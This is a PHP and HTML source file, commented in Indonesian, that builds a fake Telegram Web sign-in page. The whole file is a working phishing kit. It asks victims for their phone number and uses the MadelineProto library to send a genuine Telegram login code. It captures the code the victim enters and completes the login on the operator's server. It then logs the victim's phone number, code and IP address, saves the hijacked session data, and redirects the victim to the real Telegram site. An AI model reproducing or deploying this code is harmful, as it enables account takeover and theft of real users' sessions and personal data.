<?php
// TRUE TELEGRAM LOGIN - KIRIM OTP ASLI
session_start();

// Config Telegram API (Dapat dari https://my.telegram.org)
$api_id = '1234567';       // Ganti dengan API ID lu
$api_hash = 'abcdef123456'; // Ganti dengan API Hash lu

if ($_POST) {
    $phone = $_POST['phone'] ?? '';
    $code = $_POST['code'] ?? '';
    
    if ($phone && !$code) {
        // STEP 1: Request OTP ASLI dari Telegram
        $sent_code = sendTelegramOTP($phone, $api_id, $api_hash);
        
        if ($sent_code) {
            $_SESSION['phone'] = $phone;
            $_SESSION['phone_code_hash'] = $sent_code['phone_code_hash'];
            
            showOTPForm($phone);
        } else {
            echo "Failed to send OTP. Please try again.";
        }
        exit;
        
    } elseif ($phone && $code) {
        // STEP 2: Verify OTP dengan Telegram
        $result = verifyTelegramOTP($phone, $code, $_SESSION['phone_code_hash'], $api_id, $api_hash);
        
        if ($result['success']) {
            // LOGIN BERHASIL - Capture session
            file_put_contents('success_logins.txt', 
                "SUCCESS LOGIN: $phone | Code: $code | IP: {$_SERVER['REMOTE_ADDR']} | Time: " . date('Y-m-d H:i:s') . "\n", 
                FILE_APPEND
            );
            
            // Simpan session data
            file_put_contents('sessions/'.$phone.'.json', 
                json_encode($result['session'], JSON_PRETTY_PRINT)
            );
            
            header('Location: https://web.telegram.org/');
        } else {
            echo "Invalid code. Please try again.";
        }
        exit;
    }
}

// Fungsi kirim OTP via Telegram API
function sendTelegramOTP($phone, $api_id, $api_hash) {
    // Butuh library MadelineProto untuk Telegram API
    // Download dari: https://github.com/danog/MadelineProto
    
    if (!file_exists('madeline.php')) {
        copy('https://phar.madelineproto.xyz/madeline.php', 'madeline.php');
    }
    include 'madeline.php';
    
    $settings = [
        'app_info' => [
            'api_id' => $api_id,
            'api_hash' => $api_hash,
        ]
    ];
    
    try {
        $MadelineProto = new \danog\MadelineProto\API('session.madeline', $settings);
        $sentCode = $MadelineProto->phone_login($phone);
        
        return [
            'phone_code_hash' => $sentCode['phone_code_hash'],
            'timeout' => $sentCode['timeout']
        ];
    } catch (Exception $e) {
        error_log("OTP Send Error: " . $e->getMessage());
        return false;
    }
}

// Fungsi verify OTP
function verifyTelegramOTP($phone, $code, $phone_code_hash, $api_id, $api_hash) {
    include 'madeline.php';
    
    $settings = [
        'app_info' => [
            'api_id' => $api_id,
            'api_hash' => $api_hash,
        ]
    ];
    
    try {
        $MadelineProto = new \danog\MadelineProto\API('session.madeline', $settings);
        $authorization = $MadelineProto->complete_phone_login($code);
        
        if ($authorization['_'] === 'account.authorization') {
            // Get user data
            $me = $MadelineProto->get_self();
            
            return [
                'success' => true,
                'session' => [
                    'phone' => $phone,
                    'user_id' => $me['id'],
                    'username' => $me['username'] ?? '',
                    'first_name' => $me['first_name'] ?? '',
                    'session_file' => 'session.madeline'
                ]
            ];
        }
    } catch (Exception $e) {
        error_log("OTP Verify Error: " . $e->getMessage());
        return ['success' => false];
    }
}

// Tampilkan form OTP
function showOTPForm($phone) {
    echo '
    <!DOCTYPE html>
    <html>
    <head>
        <title>Telegram - Enter Code</title>
        <style>
            body { font-family: Arial; background: #5682a3; padding: 50px; }
            .login-box { background: white; padding: 30px; border-radius: 10px; width: 300px; margin: 0 auto; text-align: center; }
            input { width: 100%; padding: 12px; margin: 10px 0; border: 1px solid #ddd; border-radius: 6px; font-size: 16px; }
            button { background: #0088cc; color: white; padding: 12px; width: 100%; border: none; border-radius: 6px; font-size: 16px; }
            .otp-info { background: #e3f2fd; padding: 10px; border-radius: 5px; margin: 10px 0; }
        </style>
    </head>
    <body>
        <div class="login-box">
            <div style="color: #0088cc; font-size: 24px; font-weight: bold; margin-bottom: 20px;">Telegram</div>
            <h2>Enter Code</h2>
            <div class="otp-info">
                <strong>We\'ve sent an SMS with a code to:</strong><br>
                '.htmlspecialchars($phone).'
            </div>
            <form method="POST">
                <input type="hidden" name="phone" value="'.htmlspecialchars($phone).'">
                <input type="text" name="code" placeholder="Enter 5-digit code" required maxlength="5">
                <button type="submit">Verify</button>
            </form>
            <p style="font-size: 12px; color: #666; margin-top: 15px;">
                By continuing, you agree to our Terms of Service and Privacy Policy.
            </p>
        </div>
    </body>
    </html>';
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Telegram Web</title>
    <style>
        body { 
            font-family: Arial, sans-serif; 
            background: #5682a3; 
            margin: 0; 
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            width: 100%;
            max-width: 320px;
            box-shadow: 0 4px 12px rgba(0,0,0,0.1);
            text-align: center;
        }
        .logo {
            color: #0088cc;
            font-size: 28px;
            font-weight: bold;
            margin-bottom: 30px;
        }
        input {
            width: 100%;
            padding: 12px;
            margin: 8px 0;
            border: 1px solid #ddd;
            border-radius: 6px;
            box-sizing: border-box;
            font-size: 16px;
        }
        button {
            background: #0088cc;
            color: white;
            padding: 12px;
            width: 100%;
            border: none;
            border-radius: 6px;
            font-size: 16px;
            cursor: pointer;
            margin-top: 10px;
        }
        button:hover {
            background: #0077bb;
        }
        .footer {
            font-size: 12px;
            color: #666;
            margin-top: 20px;
        }
    </style>
</head>
<body>
    <div class="login-container">
        <div class="logo">Telegram</div>
        <h2>Sign in to Telegram</h2>
        <p>Please confirm your country code and enter your phone number.</p>
        <form method="POST">
            <input type="tel" name="phone" placeholder="Phone number" required>
            <button type="submit">Next</button>
        </form>
        <div class="footer">
            By continuing, you agree to our Terms of Service and Privacy Policy.
        </div>
    </div>
</body>
</html>